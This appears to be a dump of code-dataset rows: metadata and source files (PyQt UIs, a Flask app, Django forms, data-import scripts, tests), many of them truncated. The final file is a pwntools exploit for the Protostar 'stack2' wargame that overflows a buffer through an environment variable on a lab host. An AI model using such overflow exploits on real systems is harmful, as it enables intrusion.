] | 1 | 2019-01-04T14:46:00.000Z | 2019-06-04T12:31:45.000Z | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import setuptools
setuptools.setup(
name='ftpservercontext',
version='2018.3.0',
license='commercial',
author='Thomas Guettler',
author_email='guettliml.ftpservercontext@thomas-guettler.de',
url='https://github.com/tbz-pariv/ftpservercontext',
long_description=open(... | 29.2 | 106 | 0.696347 | 97 | 876 | 6.072165 | 0.752577 | 0.076401 | 0.064516 | 0.095076 | 0.11545 | 0.11545 | 0 | 0 | 0 | 0 | 0 | 0.009722 | 0.178082 | 876 | 29 | 107 | 30.206897 | 0.808333 | 0.256849 | 0 | 0.095238 | 0 | 0 | 0.392248 | 0.193798 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdf4a1acc53ac8000703136e7a930c389adce55b | 1,546 | py | Python | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | 1 | 2018-10-25T01:31:15.000Z | 2018-10-25T01:31:15.000Z | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | 1 | 2018-07-16T01:39:39.000Z | 2018-07-16T01:39:39.000Z | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from pynput import keyboard
from PyQt5.QtCore import QThread, pyqtSignal
class KeyHooker(QThread):
# シグナル
pushCtrlSignal = pyqtSignal()
releaseCtrlSignal = pyqtSignal()
pushShiftSignal = pyqtSignal()
releaseShiftSignal = pyqtSignal()
pushCommandSignal = pyqtSignal()
... | 29.730769 | 72 | 0.599612 | 145 | 1,546 | 6.268966 | 0.42069 | 0.084708 | 0.107811 | 0.074807 | 0.187019 | 0.162816 | 0.110011 | 0.110011 | 0.110011 | 0.110011 | 0 | 0.002788 | 0.30401 | 1,546 | 51 | 73 | 30.313725 | 0.842007 | 0.141656 | 0 | 0.228571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114286 | false | 0.057143 | 0.057143 | 0 | 0.371429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
cdf4c8116e9e2bbcc1b35461d7c08335801aaba4 | 2,243 | py | Python | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | """
Commands and operators used by NAD.
CMDS[domain][function]
"""
CMDS = {
'main':
{
'dimmer':
{'cmd': 'Main.Dimmer',
'supported_operators': ['+', '-', '=', '?']
},
'mute':
{'cmd': 'Main.Mute',
'supp... | 30.310811 | 60 | 0.296478 | 112 | 2,243 | 5.758929 | 0.241071 | 0.418605 | 0.093023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.495319 | 2,243 | 73 | 61 | 30.726027 | 0.569788 | 0.026304 | 0 | 0.191176 | 0 | 0 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdf8455878051f84938cb9a928fc16329abe82f4 | 7,846 | py | Python | ui/Ui_addsite.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | ui/Ui_addsite.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | 2 | 2015-06-12T09:28:29.000Z | 2015-06-12T09:34:16.000Z | ui/Ui_addsite.py | eufarn7sp/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'addsite.ui'
#
# Created by: PyQt5 UI code generator 5.6
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Addsite(object):
def setupUi(self, Addsite):
Addsite.setObject... | 46.702381 | 115 | 0.672827 | 876 | 7,846 | 5.971461 | 0.196347 | 0.027528 | 0.037851 | 0.041483 | 0.561652 | 0.510992 | 0.496655 | 0.46148 | 0.450201 | 0.43529 | 0 | 0.04676 | 0.201377 | 7,846 | 167 | 116 | 46.982036 | 0.788063 | 0.022687 | 0 | 0.458065 | 1 | 0.03871 | 0.240078 | 0.036684 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012903 | false | 0 | 0.006452 | 0 | 0.025806 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
cdf8ea07b2a210313250ff1ccb9f4bf6d44a0053 | 1,772 | py | Python | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | from enum import Enum, auto
class SetuGuiAutoActorStateActionType(Enum):
INIT_STATE = auto()
END_STATE = auto()
class SetuGuiAutoActorAutomatorActionType(Enum):
LAUNCH = auto()
QUIT = auto()
GO_TO_URL = auto()
GO_BACK = auto()
GO_FORWARD = auto()
REFRESH = auto()
EXECUTE_JAVASCR... | 23.012987 | 48 | 0.682844 | 216 | 1,772 | 5.189815 | 0.365741 | 0.062444 | 0.037467 | 0.033898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217269 | 1,772 | 76 | 49 | 23.315789 | 0.808219 | 0.018059 | 0 | 0.068966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.017241 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
cdfc9bf4504d5cc25bda0a98802b00001e0b1b9c | 1,031 | py | Python | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | ###############################################################################################
# 还是常规题,和【5. 最长回文子串】不同在于【子串】和【子数组】是【连续】的,而【子序列】可以不连续
# 因此定义dp的方式就不一样,对于【子序列】可以定义长度,而【连续】的【子串】则用是否
###########
# 时间复杂度:O(n^2)
# 空间复杂度:O(n^2)
##############################################################################... | 44.826087 | 131 | 0.354995 | 156 | 1,031 | 2.301282 | 0.339744 | 0.058496 | 0.041783 | 0.041783 | 0.116992 | 0.038997 | 0 | 0 | 0 | 0 | 0 | 0.03794 | 0.28419 | 1,031 | 23 | 132 | 44.826087 | 0.448509 | 0.192047 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a8042d0c00c4fb676c0f0e3967070e3d72d5ef12 | 3,568 | py | Python | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | null | null | null | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | null | null | null | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | 1 | 2018-05-29T21:16:44.000Z | 2018-05-29T21:16:44.000Z | #Script para la importacion de datos netCDF de un mes del GPCC en PostGIS.
#Autor: José I. Álvarez Francoso
import sys
from osgeo import gdal, ogr, osr
from osgeo.gdalconst import GA_ReadOnly, GA_Update
# Funcion para sobreescribir el mensaje de porcentaje completado
def restart_line():
sys.stdout.write('\r')
sys.s... | 36.783505 | 107 | 0.711323 | 530 | 3,568 | 4.662264 | 0.396226 | 0.016997 | 0.029138 | 0.027924 | 0.077297 | 0.077297 | 0.029138 | 0 | 0 | 0 | 0 | 0.015027 | 0.179372 | 3,568 | 96 | 108 | 37.166667 | 0.828893 | 0.29148 | 0 | 0.052632 | 0 | 0 | 0.126047 | 0.017551 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.052632 | null | null | 0.065789 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a8058f52d55c838079c4a938e2376efb1f6aa6ab | 3,704 | py | Python | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 4 | 2018-11-09T11:10:24.000Z | 2021-07-23T22:17:58.000Z | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 5 | 2017-05-02T15:28:01.000Z | 2018-04-16T18:29:15.000Z | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 1 | 2017-05-12T17:58:32.000Z | 2017-05-12T17:58:32.000Z | """A module to parse genetics file formats."""
# This file is part of geneparse.
#
# The MIT License (MIT)
#
# Copyright (c) 2017 Pharmacogenomics Centre
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in... | 37.04 | 79 | 0.687365 | 444 | 3,704 | 5.583333 | 0.481982 | 0.035498 | 0.020976 | 0.035095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008392 | 0.227862 | 3,704 | 99 | 80 | 37.414141 | 0.858392 | 0.364201 | 0 | 0.036364 | 0 | 0 | 0.209733 | 0.018949 | 0 | 0 | 0 | 0.010101 | 0 | 1 | 0.036364 | false | 0 | 0.109091 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a81433a2173979769be9813ef0e72f88f835d3f9 | 339 | py | Python | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | """
Play with autoformatting on save
Ensure to pip install black within your environment
"""
# test linting with an unnecessary import
# it should complain and suggest a solution
import sys
thisdict = {
"brand": "Ford",
"model": "Mustang",
"year": 1964,
"okay": "This is getting way too long",
}
def... | 16.142857 | 51 | 0.666667 | 45 | 339 | 5.022222 | 0.955556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015267 | 0.227139 | 339 | 20 | 52 | 16.95 | 0.847328 | 0.492625 | 0 | 0 | 0 | 0 | 0.349693 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.111111 | 0.111111 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a8172aac1601eb8a00a3b924aa63876138f48a83 | 1,347 | py | Python | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | import csv
from faker import Faker
fake = Faker()
for x in range(0, 10):
placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True))
placa = placa.replace(".","")
atua... | 51.807692 | 193 | 0.697847 | 195 | 1,347 | 4.733333 | 0.364103 | 0.091008 | 0.108342 | 0.216685 | 0.408451 | 0.408451 | 0.110509 | 0.110509 | 0.110509 | 0.110509 | 0 | 0.122203 | 0.137342 | 1,347 | 25 | 194 | 53.88 | 0.672117 | 0 | 0 | 0 | 0 | 0 | 0.012103 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a81d611063f78006b5948c72bc4dd6b96d015544 | 1,035 | py | Python | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | 2 | 2015-04-27T01:57:43.000Z | 2015-05-01T18:18:56.000Z | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | null | null | null | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | null | null | null | from __future__ import print_function
from simtk.openmm import app
import simtk.openmm as mm
from simtk import unit
from sys import stdout
import os
import time
import numpy as np
import argparse
from equil import setup_sim, dynamix
parser = argparse.ArgumentParser(description='equilibrate structures')
parser.add_argu... | 26.538462 | 88 | 0.745894 | 160 | 1,035 | 4.7375 | 0.48125 | 0.047493 | 0.08971 | 0.044855 | 0.050132 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009967 | 0.127536 | 1,035 | 38 | 89 | 27.236842 | 0.829457 | 0.058937 | 0 | 0 | 0 | 0 | 0.128999 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.357143 | 0 | 0.357143 | 0.035714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a82054bcbbc93091d6cde0c3bba2fa420fc0e4b0 | 520 | py | Python | tests/mixins/back_tests.py | StuartMacKay/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | 9 | 2020-05-16T20:26:33.000Z | 2021-11-02T06:24:46.000Z | tests/mixins/back_tests.py | StuartMacKay/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | 17 | 2019-06-22T09:41:22.000Z | 2020-09-11T06:25:21.000Z | tests/mixins/back_tests.py | ProjectBabbler/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | null | null | null | from ebird.api.constants import DEFAULT_BACK
from tests.mixins.base import BaseMixin
class BackTestsMixin(BaseMixin):
def test_back_is_sent(self):
query = self.api_call(back=10)[1]
self.assertEqual(query["back"], 10)
def test_default_back_is_not_sent(self):
query = self.api_call(back=... | 30.588235 | 51 | 0.709615 | 75 | 520 | 4.68 | 0.426667 | 0.079772 | 0.074074 | 0.096866 | 0.31339 | 0.159544 | 0.159544 | 0 | 0 | 0 | 0 | 0.018868 | 0.184615 | 520 | 16 | 52 | 32.5 | 0.808962 | 0 | 0 | 0 | 0 | 0 | 0.017308 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.25 | false | 0 | 0.166667 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a822bff3f043bc516ac3c82ab2394920c525256d | 1,700 | py | Python | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField
from wtforms.validators import DataRequired, Length, EqualTo, URL
from project.auth.models import User
class LoginForm(FlaskForm):
username = StringField('Username', [DataRequired(), Length(max=64)])
password = Passwo... | 32.075472 | 72 | 0.629412 | 177 | 1,700 | 6.011299 | 0.327684 | 0.084586 | 0.050752 | 0.067669 | 0.56015 | 0.530075 | 0.413534 | 0.413534 | 0.413534 | 0.330827 | 0 | 0.009724 | 0.274118 | 1,700 | 52 | 73 | 32.692308 | 0.852512 | 0.017059 | 0 | 0.538462 | 0 | 0 | 0.094068 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051282 | false | 0.25641 | 0.102564 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a82471d2b32cd5726156914bf073feb69a5965b8 | 10,619 | py | Python | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, jsonify
import sqlite3
import json
import re
import logging
from applicationInfo import ApplicationInfo
logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG)
app = Flask(__name__)
applicationInfo = ApplicationInfo()
row_pos_obligation... | 39.475836 | 297 | 0.617384 | 1,185 | 10,619 | 5.311392 | 0.149367 | 0.042898 | 0.051478 | 0.048618 | 0.578329 | 0.487448 | 0.451859 | 0.40769 | 0.378456 | 0.371624 | 0 | 0.010402 | 0.266692 | 10,619 | 268 | 298 | 39.623134 | 0.797868 | 0.034278 | 0 | 0.530973 | 0 | 0.00885 | 0.176217 | 0.014766 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.026549 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a82ba74fc6af916b17675886faaf3aad6278c7c2 | 796 | py | Python | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 4 | 2020-09-03T15:41:42.000Z | 2021-12-24T15:28:20.000Z | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 48 | 2020-09-13T20:22:42.000Z | 2021-04-30T11:13:30.000Z | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 69 | 2020-09-06T10:32:37.000Z | 2021-11-28T18:13:17.000Z | import socket
import threading
import random
def send_message():
try:
while True:
msg = input()
sock.send(bytes(name + ": " + msg, 'utf-8'))
if msg == '\leave chat':
sock.close()
break
except Exception:
pass
finally:
... | 20.410256 | 56 | 0.548995 | 88 | 796 | 4.920455 | 0.534091 | 0.050808 | 0.069284 | 0.08776 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02809 | 0.329146 | 796 | 38 | 57 | 20.947368 | 0.782772 | 0 | 0 | 0.387097 | 0 | 0 | 0.065327 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0.064516 | 0.096774 | 0 | 0.16129 | 0.064516 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a82e508670c379c3dbb7d2f2e849d1ec9ed6d7a8 | 2,736 | py | Python | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | null | null | null | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | 9 | 2021-07-18T17:16:42.000Z | 2022-03-31T00:19:14.000Z | democrasite/users/tests/test_forms.py | mfosterw/cookiestocracy | 6912e9e7c3006024d0fbee61dce5c48e63e9e231 | [
"MIT"
] | null | null | null | # pylint: disable=too-few-public-methods,no-self-use
from django.utils.crypto import get_random_string
from django.utils.translation import gettext_lazy as _
from democrasite.users.forms import (
DisabledChangePasswordForm,
DisabledResetPasswordForm,
DisabledResetPasswordKeyForm,
DisabledSetPasswordFor... | 32.571429 | 87 | 0.623904 | 290 | 2,736 | 5.703448 | 0.341379 | 0.038694 | 0.036276 | 0.045345 | 0.346433 | 0.331923 | 0.316203 | 0.316203 | 0.316203 | 0.316203 | 0 | 0.012208 | 0.281433 | 2,736 | 83 | 88 | 32.963855 | 0.829095 | 0.143275 | 0 | 0.267857 | 0 | 0 | 0.13032 | 0 | 0 | 0 | 0 | 0 | 0.214286 | 1 | 0.089286 | false | 0.464286 | 0.071429 | 0 | 0.196429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a82fdc3cbf4660f5463187cd042910a00705a302 | 9,951 | py | Python | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 19 | 2015-01-13T23:36:23.000Z | 2021-05-29T16:05:05.000Z | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 1 | 2015-11-09T17:23:05.000Z | 2015-11-09T18:48:26.000Z | lambdak_spec.py | yawaramin/lambdak | 5038531f2939dfbbbf94ea859454efaf69bf6487 | [
"MIT"
] | 3 | 2016-03-26T15:57:36.000Z | 2018-11-30T07:04:03.000Z | from contextlib import closing, contextmanager
import StringIO as s
import unittest as t
from lambdak import *
# A helper class to test attribute access.
class A: pass
# Helper functions for the tests.
def inc(x): return x + 1
def double(x): return x * 2
class test_lambdak(t.TestCase):
def test_init_k_x(self):
... | 25.320611 | 162 | 0.633203 | 1,559 | 9,951 | 3.849262 | 0.127004 | 0.049992 | 0.041993 | 0.046659 | 0.443259 | 0.316614 | 0.263623 | 0.237627 | 0.203799 | 0.164639 | 0 | 0.013001 | 0.227012 | 9,951 | 392 | 163 | 25.385204 | 0.767161 | 0.007235 | 0 | 0.265993 | 0 | 0.010101 | 0.120709 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 0 | null | null | 0.006734 | 0.023569 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a832641c2261a8791df173a07f00c6ea847b04f1 | 504 | py | Python | Exploits/Protostar/stack/stack2.py | SkyBulk/OSCE | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | 80 | 2018-07-12T04:58:02.000Z | 2022-03-18T11:31:49.000Z | Exploits/Protostar/stack/stack2.py | SunWare-shellcoder/OSCE-1 | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | null | null | null | Exploits/Protostar/stack/stack2.py | SunWare-shellcoder/OSCE-1 | 1749add01cfbc80b11055ea2fdbfdfdee1409a3c | [
"BSD-3-Clause"
] | 43 | 2018-07-12T19:48:15.000Z | 2021-11-01T13:16:25.000Z | #!/usr/bin/env python
# $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $
from pwn import *
level = 2
host = "10.168.142.133"
user = "user"
chal = "stack%i" % level
password = "user"
binary = "/opt/protostar/bin/%s" % chal
shell = ssh(host=host, user=user, password=password)
padding = "A" * 64
addr = p32(0x0d0a0... | 20.16 | 55 | 0.656746 | 81 | 504 | 4.08642 | 0.740741 | 0.048338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089623 | 0.15873 | 504 | 24 | 56 | 21 | 0.691038 | 0.140873 | 0 | 0 | 0 | 0 | 0.25058 | 0.048724 | 0 | 0 | 0.023202 | 0 | 0 | 1 | 0 | false | 0.125 | 0.0625 | 0 | 0.0625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
